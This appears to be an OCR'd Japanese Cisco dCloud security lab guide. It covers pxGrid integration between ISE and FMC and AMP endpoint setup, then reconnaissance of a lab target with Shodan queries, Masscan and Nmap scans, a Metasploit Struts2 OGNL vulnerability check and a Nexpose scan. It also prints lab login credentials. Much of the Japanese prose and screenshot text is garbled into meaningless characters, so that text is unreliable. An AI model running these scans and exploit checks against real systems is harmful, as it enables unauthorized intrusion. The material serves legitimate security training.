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2. [Y—s3(Servers)] 2TIZIE, CTR BETEITINTVD TR TOVRTLARTEINET , TNENDVRAT LK BEITHLTS
DITTAUERIEATIZTHIENTEET,

Servers ©)

Stopping or rebooting servers is only needed if session is experiencing problems

[C] Enable status polling

p ise A

Guest OS <Reboot> CShutdown)
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ession Details ® Session Deta”s
Host dcloud-rtp-anyconnect.cisco.com
Session Configuration
User v315userl
Password fe0338

Owner: jomuniz
Session ID: 483715
Incoming IP Addresses
P End Time: 18-Feb-2018 13:00

Last Modified: 15-Feb-2018 09:16

Public Addi Descripti ; .

2 yisoband 4 ihed sacrooon VPN Available: true
64.100.11.107 48 15 133,51 oob-server Virtual Center: 5

5. Web ISHUHERE, http:// USTYvT IP PRLRAIZFZZEALET , S7RD Jumphost AR RINET,

® # 64.100.11.107/#/ e O
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ISE & FMC D481 EDRIZ pxGrid —E A% #EL T 5

Cisco pxGrid (Platform Exchange Grid) (&, 8D X1 T R GREEFHSEIIENTES . A—TUTRY—3T )L, D IETF 2%
FEROT AR BEBIVEBERHETS YN IA—LTT , pxGrid #EEIZ DLV TIX, CTR SARTEHBALET . ZDOHFRY TIL, Cisco
Identity Services Engine (ISE) & Cisco Firepower T pxGrid ZBICLET . Chod izt pxGrid £ FALTHETELY—ILNE
BHYFET,

pxGrid MEEHIIZDULNTIZ, https://www.cisco.com/c/ja_jp/products/security/pxgrid.html &L TS,

E: 5K 6 TIL PxGrid Y —ERZEFERY 570, ChoDFIRNERIZRYES

1. ISE [THA> 142 L. [EH (Administration)] > [pxGrid ¥ —E X (pxGrid Services)] DIBIZFEILT. 2 2D FMC A 73> DED
FrvIRVIREFUIZLET , RIC [HIB (Delete)] R22 %51 v4 L., [EIRIEB DHIE (Delete Selected)] Z##IRLET

‘il Identity Services Engine Home » Context Visibility » Operations » Policy ~ Administration

» System  » ldentity Management  » Network Resources  » Device Portal Management  pxGrid Services » Feed Service

All Clients Web Clients Capahilities Live Log Seniy Cerificates

o/ Enable @) Disable @Apprcr-.-'e © Group ’Dv:--:hne eDelete v gRRefresh Total Pending Approval(0) «

O Client Name Client DescrinyPelete Selected Capabilities Status
O » ise-mnt-ise ) Dokte Al Capabilities(2 Pub, 1 Sub) Online (XMPP)
O » ise-bridge-ise Capabilities(0 Pub, 5 Sub) Online (XMPP)
O » ise-admin-ise Capabilities(S Pub, 2 Sub) Online (XMPP)
O , gt -pubsub-ise Capahilities(0 Pub, 0 Sub) Offline (XMPP)
iseagent-frmc.hackrmnds.com-2aa2... Capabilities(0 Pub, 6 Sub) Online (XMPP)
Ekmc Capabilities(0 Pub, 3 Sub) Online (XMPP)
firesightisetest-frmc.hackmds.co.. Capabhilities(0 Pub, 0 Sub) Offline (XMPP)

2. ZOBROERNDROLNET, [[ELV(Yes)] #BIRLET .

Are you sure you want to Delete the selected client(s)?
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3. RIZ Firefox 75T FMC a>V—JLIZFEIL. [ AT L (System)]. [#i & (Integrations)]. [ID ¥Y—X (Identity Sources)].
[Identity Services Engine] DIEIZFEIL ., [TAN (Test)] £BIRL T, EENHEISN-ZEEHRELET,

ew Analysis Policies Devices Objects AMP  Intelligence STECUE Help v admin v

i
Cisco CSI Realms ldentitv Sources eStreamer Host Input Client Smart Software Satellil’f (

2

Configuration Users Domains Integration Updates Licenses ¥ Health v -frunltonng v Toolsv

Identity Sources

Service Type None Identity Services Engine User Agent

Primary Host Name/IP Address * 198.19.104

Secondary Host Name/IP Address

pxGrid Server CA * CA-ROOT v @

MNT Server CA * CA-ROOT v @

FMC Server Certificate * FMC-Cert v @

ISE Network Filter ex, 10.89.31.0/24, 192.168.8,0/24
* Required Field Test 4l 5

4, BEWmICHBLECEADMNYET,

‘ Status

3 ISE connection status:

Primary host: Success
~ Additional Logs

‘ OK

5. RIZISEavV—IL yiavIZRY. [B#H (Refresh)] RALEH) LT ROBITTRT K312 2 D0 FMC pxGrid #E#Eh B #EIL
SNT-CLEHERLETS,

6. ISE T [E (Administration)] > [ AT 4 (System)] > [ A (Deployment)] DIBIZZvILET,

| « Administration » Work Centers

System h
Licensing
Cettificates
Logging
Maintenance
Upgrade
' Backup & Restore
[ Admin Access
Settinas -

7. [EA/—K (Deployment Nodes)] D T ® [ISE] U H9ZF )y ILET,
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nility » Operations » Policy ~ Administration » Work Centers

rk Resources  » Device Portal Management  pxGrid Services  » Feed Service » Threat Centric NAC

Logging » Maintenance  Upgrade » Backup & Restore » Admin Access » Seftings

Deployment Nodes

J Edit Register | &) Syncup E['ers—gmter
[} Hostname ~ Personas Role(s) Services
O ise gr——— Administration, Monitoring, Policy Service, pxGrid STANDALONE TC-NAC,IDENTITY

8. [ISE] €923 MR/ TEETRYA—ILLT, [pxGrid] FvIRyIREFTIZLET , TOHE. REFEEERLTEZSVD, T
pxGrid H—E XM oz AEMESh . BEBICRYET,

» Operations » Policy  Administration

({Resources  » Device Portal Management  pxGrid Services  » Feed Service  » Threat Centric |

ogging » Maintenance  Upgrade » Backup & Restore » Admin Access » Settings

Role STANDALONE Make Primary ?

v Administration

v w Monitoring

Role PRIMARY Y
Other Monitoring Node

v w Policy Service

¥ w Enable Session Servicesi

Include Node in Node Group None i J

v Enable Profiling Service (i

Enable Threat Centric NAC Service
[0 » Enable SXP Service i

O Enable Device Admin Service §

Enable Passive Identity Service (i

)

pxGrid i dﬁ“’“"“"iﬁ}
— 35
sReceT 2 e

9. RIZ.Firefox 7594 T AMP SR T LIZHEILET,

© 2018 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information. 12/195 R—2



Cisco dCloud

e R T T —
S il

= W P O G eten A

10. @5 A % A=21—T [E# (Management)] -> [A>E 1—% (Computers)] DIEIZFEEILET

BT . R 2 Installs
suuncEf_,Te PR R 0 detections (7 days)

Dashboard  Analysis ~ Outbreak Control ~  Reports BEEREEEGES Accounts ~

_ Hosts Detecting Malware [ _ S e

Computer

Deployment Summary

11. WOW.AD.HACKMDS.COM ##ELFE T, ROIT=0FvIRvIREFUICLT, [JIIL—T (258 (Move to Group)] R2 % # iR
LET . [JIL—TDEIR (Select Group)] T 7 T. [BEE (Audit)] Z:E4RL. B8 (Move)] 0y ILET, v okIZF—HR—F
DOl LR F—ZWSHTNIELSLBNEELHYET,

Move Computer to Group

4% WOW.AD.HACKMDS.COM in group Protect

MoveTo  Existing Group ~ New Group

Select Group | Audit (
Cancel

12. &IZ. Guacamole %{#HL T Workstation on Wheels (WOW) IZBEILET . ZD=OIZX. FTITSIH D [RS(back)] RE%F
1)L TAL> D Guacamole &y aR—KIZRYET,
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13. VRTL FLAIZEEL. AMP ZA4aVEFELTE I IILIUVILET,

(]
o

Customize. ..

7 4:20PM
] B0 (o=

TAAVHNZEXRHNORITBENTODIEENHYFET

14. BALV=5, [BX5E (Settings)] #9UvILET,

X
%
(=

Cisco AMP for Endpoints

Status:  Connected
/ Scanned: 5/27/2018 12:27:59 PM
Policy: Protect Policy

alualn
cisco
About

15. BEEE T [R#R)—(Sync Policy) 1Z0)vILES, V)vIIE 2 BB EITEHIEEAHYET  REIA T TIITHhhTINSS
EERTAVE—URRTENFGEEE, ENTHESYFEEA. RIV—BEF R THAEEZRA D AV E—UNRTENET

General Settings

|»

Protection
Monitor Prog Policy Update Status ™ on ?
Monitor Prog S on 5
Blocking Mog B Off )
- | Your policy has been successfully - 3.0
Monitor Nebw ~/ updated. ™ on
Cloud Detectiol
ETHOS D oFf

SPERO D on B

TETRA Detecti

Enable TETRA ?
Allow Definition Updates { & on ?
= i p— hd|

16. ChIZFALTEWERE A,

HIF 1 AERIZETLELE,
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DFIAE 2 B—TYEDERE FFRORECH AT IMBEDIFRENET S

BRI ERICEBTDFEALEDHAN—KHET, RIDRATYTELTITHATNSLDTY  ERIF, WEENI—TIMEREL
T ZDBERET A TRETHLEBAMIITONIEELHNIEL RBELGZI—TIYMEHER DT H=0IC. 1V F—Fvb&KIThHT=o
TIELTHONBEELHYET . REELNI—TIMIR IMNENLIICERENRET DEHEE L. VI TIERERETH. 774712
=7y TO—TFEEFRENMTONIEEIHYET  F— T YEOFERERELOCT (TRIELOTVEE . KB ELHHEERET S
FEERETOURMELSFILVNIEEZEBIHENEETY . EDH FALTLS)Y—RERLT BENLGEBRICHLTSL
DIFRERTT HEEHSEF 2 TADEANBHRSNFET

BRIZESTHEONIER L. FESNA—T VDM HUEDRECEL T, SESFLRXDOKENTHNS O, SOV FIFIEE
DT RTDLFIFDEBITRYET  REBEE L. RREOI—TYMNIBETERTINSZRDAED 1 DELT R—rERBEHIZET
BHEEGRAF v ERELES  REDRHETE, —7 yMEAHIZE T A EHMEATRRGRYIRG T 57012 REEEFEICRVEHE
M T, SESFLRAETRHEZTVET,

A= IMIBET BT —SENET HHITRETHEASA TS AEELTIE, V—vIL AT47 Y—ADRAEICKHUEEBFRDIN
£.BE Web YAFDREICIDEDRRFRDOIE., ERV—ADARICLSTI/OC—EADREE. TV/B0— ZAFvUI2EL B
BHEORRLBRENSHYET .

COUFIAERTTHE REENFROKBICHR TEI—TIMNEAET AR OVT, EAMLBEBBER/LILNTEET,
Masscan Z/R—k R¥ 4+ ELTHEALTEA—7 YR ERF v L L TWSR— ST T 2 EOBMELEEUET (Masscan D>
Ay XL NMAP [ZETWET) T KBEBREOY—ILFI—UICE>THRBUERET INREIY— RYYTMEFERLT, 54—
TUrDHESBMEEFH TS ELE B TEET MA T, RV I—IVHRDOTRALGT YR F YL, TNEDOTEVRE Rapid7 DEH
SR F v+ ThD Nexpose AL TEHE TR L0, [FEMAIDREILEZLET,

NIE HBEELTEETHMOTDIRTY,

PANDN RS
1)Y)—2X 1:Kali Linux Rolling Edition 2017 (Nmap $ & U Masscan W—ILZ&E)

1JY)—2R 2:Rapid 7 Nexpose Z#7RA+3 3 Ubuntu H4—/3
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Shodan #{# L= Web {522

Shodan [&. N\YA—MAITORRIVOVEEDLNSIENHY  HRTRLVEBRGRRIU OV ERLGENTULVET, Shodan [, 15—
YR EDBEEDTNAREII) &> THEANTEIREIV DU T CORBIVIUI(E AV 3—RINAERERLT/RTYVIIZTY
TRAETNARERELET . TLTH—ERX NF—h o BELIZT NS RIZETET—4E2RELET, —FLIDT—4EHIT
JIZEALT. BHEDTINAIR 44758 ELET,

WE8ELLT Shodan ZERAL. A= YRNRBEADIEBH Y —N\EHETIENTEET, SOICLBEHENRIZ BFEDMBEERF-
=T INAREHBATBHELAEETT . HBEDZLIL. BEDEEEI—TYMNILTWADITTIEHYEFA REDHESEIFET =0
2. AV 8=y rERBLTWSEITOETRENELHYET . ROFKRIRAIY 2 FUK 5T ITIH. CORATOREFIZRLET,

Shodan ~D7 o+t A

F9. https://www.shodan.io/ IZ7IEALEY , SESFLEY—RERBETETETH ERT AV LGVEEE—HFHIBRIHYES,
[T Hho b E1ERL (Create a Free Account)] #9yIL T, THOUMEER T BIENTEET TLET L N—Da V(28R T BT
LETEFET, TLIT L N—D3V TR APL 9T 7 IVT =3V B EIZT VR TEET, COSHRDEBMASIE. |BHTHIY
FOBHTHIUNZBETIDEIHYECTADN., BERIBNIEHL THEIENTEET,

‘. SHODAN ccess Contact Us New to Shodan? | Loginer Register

The search engine for Refrigerators

Sglelel for Internet-connected devices.

Explore the Internet of Things See the Big Picture

Use Shodan to discover which of your devices are connected to the Intemet,
where they are locatad and who is using them.

Websites are just one part of the Intemet. There are power plants, Smart TVs,
refrigerators and much more that can be found with Shodan!

Monitor Network Security Get a Competitive Advantage

Keeptrack of all the computers on your network that are directly accessible from | Who is using your product? Where are they located? Use Shodan to perform
the Internet. Shodan lets you understand your digital footprint empirical market intelligence.
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Shodan IZ&5— iR IRER

HWEE, —BUEIS— Avt—C BAONFT—LE  BLDOHINVIERET DM, C{—REBREEHALTHLIIENTEET,
[E£# (Explore)] REEH) w93 B, Shodan H A+ CT—RIERERA TV #FFT TENTEET, World Wide Web xR, i
PFHEIFERLTH TS,

#% SHoDAN plore Enterpr s Newto shodan? [RESGNBRRBOEES

Explore

Discover the Internet using search gueries shared by other users.

—eatured Categories Top Voted Recently Shared

Webcam nsé
best ip cam search | have found yet.

o (o e s 3,708 n
admin admin ngikic

‘s' .

Netcam CoreFTP sshd
Netcam CoreFTP SSH Daemons
default password Aerohive hi network
Finds results with "default password” in the ba, system htipd
Aerohive hivemanager network management system

R—FX:Shodan OEELEREILT)

Shodan DEELGREITIEFRRTHICE. BAICEHOI—Y FAVUNEERTIRENHYET .

BHTHIUNEERTHE UTOBISTY SOLBEEGRRITVERITIHIENTEET,

Shodan Z4J/L%

https port:443: ZMDH T EEITT HE. R—b 443 BNEHELTL D H—/N\DYRIIRTENET,
netcam: ZMDHY I EREITT S, netcam T/ANA ADY ARDRRREINFET,
title:"Outlook Web Access" port:443,80: CMD YT ZEEITY &, Microsoft OWA ERRAMF 5B A DY AR IRENET,

webcamxp country:SE: CDRFREETT HE RTT—T 2D Web AASDYANRTREINET,

BRERERYVATLT-OHD IR ROLOBHYET,

[#R 7 (City) | HEDEHICHET NI RERELET,

[E (Country)|: ¥ EDEIZH DT /NI RERELET,
[B45—232(Geo)]: BBAZEIRE T HEMNTEET,

[(RR R4 (Hostname)]: KRR MG I —B T HIELXRELET
[Fvhk(Net)]:IP &7=[& /x CIDR [CEIMBERETVET,
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[0S]: ARL—F 42T S RATFLIZETRBRREITVETS,
[R—k(Pord]: BEDA—T> R—rEBRRLET,
[LARI/LARE (Before/Aften) |: 45 E D R2A LITL—LRNTREEFTVET,

Masscan Z{EAL-HEBEIZLDHEE

Masscan [FIEFIZEEREA U A—F Vb IR—bk AF¥FELTHDNTULVET , Masscan [Z[E. NMAP & | iDR—k RF¥X v+ D &L5%
RESNT GUI AU A—Dz( RIEHYVFER A, ELOEEEN, WELRIZREFMALTE NMAP THRYLT—I EDRRMERFELTLY
FIA. WEBEHRTIE. E<ORDESHERMND Masscan ZALDY—IILELTHRIALTLNETD,

ELMENT- NMAP EXHERASh TS
NMAP &Y EETHEMEIZBNR TS
Masscan TIXA 23—y b EREHEH TR X v TES (ERREICK->TELED)
Masscan IZIEEICRD &SHHENHYET,
R—AE1) T+ (Windows, Mac OS X)
nTop I2&% PF_RING ZC MY HR—KM&Y ., WEEH 1 FH1Y 200 H/\TryhEBRS
NF—=TSELTEHR—+
P RT—=242%5
BEIT/ILOA—F
Syn-only X¥+v>
RRAMZE&AIZ ping Z&EELLZL

RDE—FT nmap XTI 5D ELAFOHENTOND

$nmap -Pn -sS -n -randomize-hosts -send-eth <hosts>

Masscan [ZB9 2 F DD E#ZDULVTIE, Github - hitps://github.com/robertdavidgraham/masscan & BL TEELY,

E:COSRTIE, 1 BH=YD/ 4 ybh 10,000 ZEBZ LV ESIZ, Masscan ZHIELTLVET , Masscan ZFH 3 5&. RykT—
I CISBARICHSAREENDYET,

FIR

ZDZHRTIL, GUAC Jump RA U kh5 . Kali Linux A EE T 2B Y —/ 72X LET , Masscan [ Kali H—/\ZEEAVRAb—
LS THY. Kali Linux avUR SAVEFERLTETINET . Ry T—I LDV RTLERET BRI TE. BLHRRACDT ROy
TEIZEHYET, AR T SH4—45 vk, 198.20.5.0/24 *ybT—%- EIZ#HS HackMDs DMZ 4 —/ T3,

Kali Linux IEH—/\Z&, 21— % root, /ART—F:Clscol12345 T7YERLET,
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Masscan Z{E AL %

1. Kali Linux EH—/\IZHEHELET,

2. ZCT.KaliLinux TRIMY T DO TERIZHS [2—3F )L T2aL—~%(Terminal Emulator)] 74> (EMS 2 BEEDT7AI) %D
JuPLT, B—3FIL T r—avERmEET,

@@= 0Q

3. BRWICROATREETLTA—TINERERLET,
dig www.hackmds.com
# dig www.hackmds.com
; <<>> DiG 9.10.6-Debian <<>> www.hackmds.com

global options: +cmd
Got answer:

!
'
!
'
'

-; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63350
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: ©, ADDITIONAL: 1

;» OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4000
;3 QUESTION SECTION:

;www . hackmds . com. IN

;3 ANSWER SECTION:
www . hackmds.com. 3600 IN CNAME www.ad.hackmds.com.
www.ad.hackmds.com. 3600 IN A 198.19.20.5

;3 Query time: 33 msec
; SERVER: 198.18.133.1#53(198.18.133.1)
; WHEN: Fri Jan 12 16:26:11 EST 2018
; MSG SIZE rcvd: 81

Zhiz&kY, www.hackmds.com A% 198.19.20.0/24 YT —HITHRRAMSINTNS M EIMNESHITRIITEE T, BEICIFK, 23— vk
M 124 EREFRBELTNENESINZHEENRIITHEIIEYEEAN., ZOSHRTIE, 198.19.20.0/24 #yrT—9E+E2RXFv T3
HiEERLET,
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4. A—FYMMIRHLTROIATUFEZEITLT, 80. 443, 8080, 8443 R—hrTYR=U T LTS T RTORRAMEHELET .

Masscan -p80,443,8080,8443 198.19.20.0/24

# masscan -p80,443,8080,8443 198.19.20.0/24

Starting masscan 1.0.3 (http://bit.1ly/14GZzcT) at 2018-01-12 21:23:37 GMT
forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Tnitiatina SYN Stealth Scan

Scanning 256 hosts [4 ports/host]

Discovered open port 8080/tcp on 198.19.20.5
Discovered open port 80/tcp on 198.19.20.5
Discovered open port 80/tcp on 198.19.20.8
Discovered open port 443/tcp on 198.19.20.8

7+ W

5. ZORYLI—ITIE 2 DORAMREBLTNSIENOMYET, TN 2—4S YR YET,
a. 198.19.20.5:ZhlEH—4 vk L - hackmds.com DMZ Web H—/\THEEEHLNET,

b. 198.19.20.8: CMIFXE->TARMEMNT= DMZ R/INLXE I ILE —N\THIEBEHLIET,

BEDY—ILEFERALEIESE DR T

R—bk R¥vF%EALT HackMDs DMZ #RXFx v LELEA . HBEEBEARDY—IL FYCRTRON >/ TOA/MBEIZ/ER
LI=ROUTREERALT, BENRBEEET LERIRTIHNELNER A COVFTITOHBELLT, ZOTHESIaL—RLE
T RORY)TEFALETS,

msfconsole -x "use exploit/multi/http/struts2_content_type_ognl; set RHOST $host; set RPORT 80; set TARGETURI
[clientportal/fileupload/upload.action; check; exit" | grep vulnerable

F DA FEFHTETIILERIHYFEE A UTOFIETY TIERESN =RV T EFERALET

ZDARPYTTIX. BFD 2017 OGNL(AT Lo 557 +EH—arE358) I 5 Struts DRSS LT, Rapid7 @
Metasploit E2a—I/LEERLTLVET, 241, upload.action M3 HEFE T A-HIZ, N—F2—RFENT=/NRXEZRAETHELDTT . =
DA TEDEHIT Shost 121+ THY . FhE www.hackmds.com RIZEEF=IEN—RI—T (2 FFHENTEFT, RYUTHC
FOT. COBEDHRBUELZTIRTOAAAIETHINESHBFIvISn, TOBENH IS ET,

WEEIINEFETITIZLILTESTLLID, ATRETT A, BREIAOOAYEEILREEICRYET WEBEHIL, X<H5M Tz HTTP URI
12T BRIV TEERT B Web HARIHLTRIAFZEZRITLTIRTDYLHEHLET, Z<DITHIRTOA FYRTIE HEHE
D759 1B LV Java N—ADIESBEHEICHL THLINLDE AT RS, BBHEDHILRATLIZTILIITHIEASKET,

6. WEIZIELT, Kali Linux TR TOTEIZHS [#—3F )L ITI2L—42(Terminal Emulator)] 74a>#49)voL T, 4—3FIL
FIVr—aEREET,

o
«
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1. T4LYK% Desktop TALIMIIZEELET,

root@kali:~/# cd /root/Desktop

2. ROATUKRIZEDT 198.19.20.5 H—/ N (www.hackmds.com) ZHEZR/I D A X v+ DEA—4 YRl REERV)TFEEITLET,

root@kali:~/Desktop# ./exploit-finder.sh

# ./exploit-finder.sh

setting host to default: www.hackmds.com

R AR R AR R R R AR R R R R R R AR R R R R R R SRR R R AR R R R R AR R R R AR B R H R AR R R AR R R R R R H R #H
# This script checks for vulnerabilties to the Struts OGNL Vulnerability #
# This script can take a command line argment like so: #
# ./exploit-finder.sh -h <hostname/ip> #
RHHBHBRRHBRHURBB R R BB AR B RAU R BB U RB BB RB BB BB RBR BB BB R BB BB BB R B R B R AR B RBURB BB R RS
Checking if www.hackmds.com is vulnerable:

HBHHBRRBRRBH BB BRBRRRRNBRBBRBR RN BBR BB RBRNB BB R BB RN RBR BB BB BB RBRUBBBBRRRBHUNHRH

[+] www.hackmds.com:80 The target is vulnerable.

3. ZORVIVTMZ&>THLNDERIT, /N\vh— TH—FLOZDMA U Z—R I EDY A TRONBRI)TrD ELERKRIZ, 3
BIZRONTWET , CORYYTHE www.hackmds.com T 74+ /)LEDIEFTELTHEAT 5&L5/\—Fa—FShTWEFT, RYUT
FEARTTRTOUUVIZBZRE>TERLTLADOITTIEHYVER A, EDQLIICEMET 5D H, Metasploit ZEAL T, %5 URL
N1 DODHREDKHHEISILTHRENESHERLTNDDTY, FHLLFARSE, RO URL HY, Apache Struts2 DREFEHEIZXTL T
ffEsETHD LM HhHYET, http://www.hackmds.com/clientportal/fileupload/upload.action

NMAP Z{E L%

RIZ, BLDARYNT—VEBEMNRE. EOLSIEFNRETEEFITOTLEMNERLET  NMAP (&, R —BHLEAF—T> v—X
DRYRT—H IVEV T B IVEERY—ILTT,

IPv4 EHTE—DRANERFv2 32X DA

# nmap -sT <IP address>
NMAP [Z[ZRDESEHEEAHYES .
RARDRE : Ry T—I EORRNEHELET
R—b RFv=25 24—y RRAFEOF—T> R—rEFIZELET,
N=2avH JE—b TRARLEDRYET—) H—ERIZTIEALT, 7T —2a0 BEN—Da0 BEERELET .
0S B : RYNT—9 FIRARDFRL—T ALY SRATLEN—F I THEEHRELET,
A—4y R EDBEBIED X' FHME :NMAP Scripting Engine (NSE) & Lua A4 5304 S8 ERALEY,
NMAP TIEEEEFLIATDRF v FiEEFRATEES,

-sS TCP SYN | ST Connect() | -sA ACK \ -sW Window

-sO:IP protocol scan | -sN TCP Null | -sF FIN \ -sX: Xmas scans
SYN RFvo(d, TERLGEHERIL T HILG TCP R—rOIREBEHET 21=HOICERALET,
NMAP R—b R FiED M : https://nmap.org/book/man-port-scanning-techniques. htm

SANS.Org NMAP F—Fk L —F: https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.0.pdf
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o RHEERRELENS, RBORAFTYUE BT IZRTTHAEITOLNTIE, EEED NMAP F—k —rE#SBLTEELY,

BhiEMB DS E=FIE

ZOFRTIE, Kali Linux ZRITLTWBRREHY—/NICF7 VAL T, TR TOETEFEBETLVET . NMAP (F Kali —/\ITEEAVR
F—JLENTHY. Kali Linux 2—37F)L AT F SAUMBLRITINET , Rapid7 Nexpose HE55 X ¥+ 7 (& Ubuntu IEH—/\
(198.18.133.5) IZA Y AR—ILENTEHEY. Kali Linux H—/30) Web TS50 £yiar b7 IwRAShET , 4—7 Ik I, RIFEKE
FHELTHERLEDLODER—O HackMDs DMZ H—/\ 198.19.20.5 IZHYET,

Kali Linux EBY—/N\IZ7 IR T B=HDI1—HRIL root T, /8ART—KIL Clsco12345 TY,

Rapid7 Nexpose M 1—H & (& root T, /SR —FI& Clsco12345 TY,

NMAP ZERL-{EX

1. KaliLinux YATLRNT, BE FEOREH(EHD 5 BB DT 122D Application Finder)Z4')v- LT, Nmap 7 FU5r— 3>
FREET,

=1 T

EA—SFILERE. O FAUICINmaplEARNTEHZELHYFET, £F-. Nmap ® GUI /A—23> THS Zenmap #fEFATH
LETEET,

2. RIZBFEI4VRIIZInmapléEANTSE Nmap TOSTSLDFTLavRmRTFTINET, FITRFTSNWTWSEEA Ty URE
M5 Nmap 7RSS LERIRL. [#E) (Launch)] RE22%E5 v LT Nmap 75— av@28LET,

Application Finder B3

‘ @ Bookmarks

— Zenmap
> A cross-platform GUI for the

& Zenmap (as root)

@
‘ C"ﬁ Commands History A cross-platform GUI for the.
| @ 01 - Information Gathe.. @ dnmap-client

| ny 02- Vulnerability Anal

i @ dnmap-server

&  zenmap

03 - Web Application A

n 04- Database Assess..
05 - Password Attacks

‘ 06 - Wireless Attacks

g 07 - Reverse Engineernng
|

A grefenn;e;l | | L close |
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3. HackMDs.com [Z&2THRARSNTLVS Web H—/RIZ LT, ROEHERAF vy avUREETLET,
nmap -sT 198.19.20.5
# nmap -sT 198.19.20.5

Starting Nmap 7.60 ( https://nmap.org ) at 2018-81-12 16:58 EST
Nmap scan report for www.ad.hackmds.com (198.19.20.5)

Host is up (0.0071s latency).

Not shown: 995 closed ports

PORT STATE SERVICE

22/tcp open ssh

8o/tcp open http

139/tcp open netbios-ssn

445/tcp open microsoft-ds

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in
# i
4. RIZ.HackMDs.com IZ&2THRRARSNTINSE2—4 bk Web H—/ T L T, 20 UDP R¥+> aAYURERTLET,

nmap -sU -p 123,161,162 198.19.20.5

# nmap -sU -p 123,161,162 198.19.20.5

Starting Nmap 7.60 ( https://nmap.org ) at 2018-81-12 17:00 EST
Nmap scan report for www.ad.hackmds.com (198.19.20.5)
Host is up (0.0055s latency).

PORT STATE SERVICE
123/udp closed ntp
161/udp closed snmp
162/udp closed snmptrap

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
#

BRI OWTHRESNDREDEMICOVTIX. KDY EESBLTIESLY,
https://nmap.org/book/man-port-scanning-basics.html

Nmap (& connect VAT L OA—)LERITTBHET. = IRDI LU ER—MIERLET , Thik,. Web TS50, P2P 9547k,
BLUZOMIFEAE DR YT —IRGET TV r—2ar B ERERIL T 5-OICERTEEDLRAL NAILANILDVRTL A—ILT
FoUDP RFvUE 23— IrTHAT R TOR—NZ UDP /X7 YbEEETHILETEITINET . B —MMAAR—KE. DNS,
SNMP, DHCP (&§%F#&R—h 53, 161/162, 67/68) D 3 DTY,
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Rapid 7 Nexpose ZfERA L& H

R—b R*¥vF%FEALT HackMDs DMZ R ¥+ Lfz&EZ AT, RIZ Rapid 7 M Nexpose #FAL CEEMGIEEEEHRELET,
Nexpose [&. BlD Ubuntu BEH—/IZA/ 2R b—)LENTHY. Kali Linux —/3\mM5D Web 7594 £y aE@LTT7IEALE
Toih—b RFX VY=V DEEERKIC. CCTIRREBERATOBAENGRBEEHRETHIENBEITRYETS,

FCITIDRFYUEERTHDIE, TCITRITTESHTT . SHITHMHERFYUIZDOVWTIE, 2OV FIADF T DM
o a ESBLTESW, EELZRAT YT, ETETOBBELRAGYET,

1. KaliLinux TRZby 7T, BB FEHIZHD Web TS50 7La2 (EhL 4 BB DT7A4a)%EH)vHL., iceweasel Web 754
TV —a EREET,

i'—:'

._:'._1 =
. =

2. RIZ Nexpose Twov—4 Yo%) vH LT, M Rapid 7 Nexpose 7 FUr—avIZ7HoALET,

Kali Linux, an Offensive ... x | 4

@ file://jusr/share/kali-defaults/web/homepage.html ¢ || Q search wvBE $§ &# O

Exploit-DB @ hackmds.com

‘ Kl \ L I KALILINUX KALITOOLS KALI DOCUMENTATION OFFENSIVE SECURITY

E:Ovov—9 YUORREDOMSENESIE. URL IP 7KL X :https://scanner.hackmds.com:3780 #FETA T B EETEET,

3. 1—%4%:dcloud. /SRAT—K:Clsco12345 TAS AV LET,
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4. Nexpose R—LEE®D L&/ N\—M 5. [YERL (Create)]. [+ (Site)] DIBIZERLET . A MEKBEERARFENET,

= nexpose’ Create A

5. [&f%(Genera)] BREEI LAV TRDINGA—FERELET,
a. [®&#T(Name)]:Target
b. [EZEE (Importance)]:Normal
c. [ERBA(Description)]: Target HackMDs.com website

d. [A—¥HNHEMLT=%% (User-added Tags)]:None

#:Nexpose 129 TIZ HackMDs EWVSH AR HBIGEIF. YA EDREIC -1 F=(F -2 #EBMLET,

nexpose’

Site Configuration

User-added Tags ©
CUSTOM TAGS LOCATIONS OWNERS CRITICALITY

None None None None G
Add tags
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6. RIZ[7Hvb(Assets)] 2T D [LLTEEL (INCLUDE)] T. [& 1. 7FL X, £1zIL&E% A J1 (enter name, address, or range)]
ERTENTNSTHFRE RyHRIZ, www.hackmds.com #—4 vk H—/3D IP 7RL R (198.19.20.5)# A ALFET,

nexpose’ Create

Site Configuration

® : ® B

AUTHENTICATION TEMPLATES

Specify assets by m Conmection ()

Browse... No file select 0 Assets Browse... No file select

0 Asset Groups 0 Asset Groups

7. [TYFL—F(TEMPLATES)] #7%%v5L T [E£EE (Full audit)] Z:&RLET,

nexpose' Create ) ) dcloud

Site Configuration

® = B

INFO & SECURITY ASSETS AUTHENTICATION TEMPLATES ENGINES

SELECT SCAN TEMPLATE Selected Scan Template: Full audit

CREATE SCAN TEMPLATE

Name A Asset Discovery Service Discovery
Discovery Scan ICMPB, TCP, UDP Custom TCP, Custo
¥ very Scan - Aggressive ICMP, TCP, UDF ustom TCP, Cust
Exhaustive ICMP, TCR, UDF Full TCP, Default UDF
FD ICMR, TCP tom TCP

®) Full audit ICMP, TCP, UDF Default g “Eauit

Full audit enhanced logging without Web Spider ICMP. TCP, UDF Default TCP, Default
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8. FFI)H—Lay RO A LD [RELTREXvY (SAVE & SCAN) | RAVES)vILET , BEDEEEIZE-TIL. Nexpose
TIN5 —2avOABIZZAIO—)LLT, [RTELTAF v (Save & Scan)] K2 EH)vILET , [IREELTRF Yo LETH (Are
you sure you want to Save & Scan?)] LR RSN iz5, [RELTRFv> (Save & Scan)] REVEIUVILET,

nexpose' Create Q) 0 Q dcloud

= )

ASSETS AUTHENTICATION TEMPLATES ENGINES ALERTS SCHEDULE

Selected Scan Template: Full audit

- . S
B, B Filte
Name A Asset Discovery Service Discovery Checks Source Copy
an ICMP, TCP. UDP Custom TCP, Cust Disabled W
= Scan - Aggressive |ICMPE TCP, UDP Custom TCP, Cust Disabled ﬁ
Exhaustive ICMPB, TCP, UDP Full TCP, Defauit UDP  Safe Only \fg
CMP, TCF Custom TCP sfe Only (521
. Full audit ICMP, TCE, UDP Default TCP, Default jstom yﬁ[

9. Nexpose DH A REXYUMETITBHETS ~ 10 D FEFET, COTHREFLDHIELTEET,

SCAN PROGRESS ©

@ "]

